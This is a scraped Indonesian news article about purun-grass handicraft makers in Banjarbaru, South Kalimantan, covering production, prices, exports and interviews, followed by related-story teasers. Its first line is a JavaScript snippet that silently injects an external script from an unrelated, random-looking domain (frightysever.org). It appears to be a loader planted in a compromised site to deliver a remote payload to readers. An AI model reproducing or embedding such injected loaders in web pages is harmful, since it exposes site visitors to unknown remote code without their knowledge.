(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Anggota kelompok perajin purun menata tas berbahan purun (rumput gambut) yang dijual di sentra kerajinan objek wisata Kampung Purun, Banjarbaru, Kalimantan Selatan, Senin (4/10/2021).
Pengrajin di kampung tersebut mampu membuat rata-rata 3.000 buah per bulan dengan berbagai hasil kerajinan purun seperti tas, sandal, topi, dompet dan tikar. Barang-barang tersebut dijual dengan harga bervariasi mulai Rp 4.000 hingga Rp 150 ribu.
Hebatnya, kerajinan ini telah menembus pasar ekspor ke Australia, Italia, Irak, Turki, dan Malaysia.
Maria Ulfah salah seorang pengrajin anyaman purun yang tergabung dalam Kelompok Al Firdaus mengatakan, sekarang telah memiliki 40 orang pengrajin dan mampu membuat lima anyaman setiap orang dalam sehari.
Baca juga : Tim Literasi Masuk Pelosok Kotabaru, Pasiter Kodim 1004 : Kami Berharap Ada Kunjungan Rutin
“Seharinya kami bisa membuat lima anyaman per orangnya dan sudah ada 40 orang yang tergabung di kelompok Al Firdaus hingga saat ini,” katanya
Maria mengaku dalam sebulan lebih dari 5.000 anyaman purun yang laku terjual baik dari pengunjung maupun dari pesanan online.
Ia mengungkapkan kesulitan ketika membuat anyaman purun ini adalah saat mengawali anyaman, yaitu pola awal yang menurutnya lebih sulit.
“Kesulitan saya ketika mengawali menganyam harus menyesuaikan pola dan warna ketika kita baru mau menganyam,” ungkapnya.
Baca juga : Banjarbaru Turun Level, Wali Kota: Protokol Kesehatan Harus Tetap Dijalankan
Maria menerangkan, kelompok Al Firdaus ini sudah lama akan tetap baru dikenal mulai tahun 2016 dan makin eksis hingga sekarang.
Sementara itu Yulianjar salah seorang pecinta anyaman purun ini mengakui bahwa dirinya sangat menyukai pernak-pernik tradisional seperti anyaman purun ini.
“Saya sudah sering membeli anyaman purun ini dan selalu memakai tas dari anyaman purun ini kemana pun pergi,” ucap Yulianjar yang juga pimpinan Operasional Amanah Borneo Park ini.
Yulianjar mengharapkan kepada para masyarakat khususnya di Banjarbaru agar selalu melestarikan warisan budaya ini agar tidak tergerus dimakan zaman.
“Saya mengharapkan agar para anak muda bisa melestarikan warisan budaya ini, saya sangat mengapresiasi para pengrajin purun ini karena bisa mengombinasikan anyaman purun dengan stylish zaman kekinian,” tutupnya.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
This website uses cookies.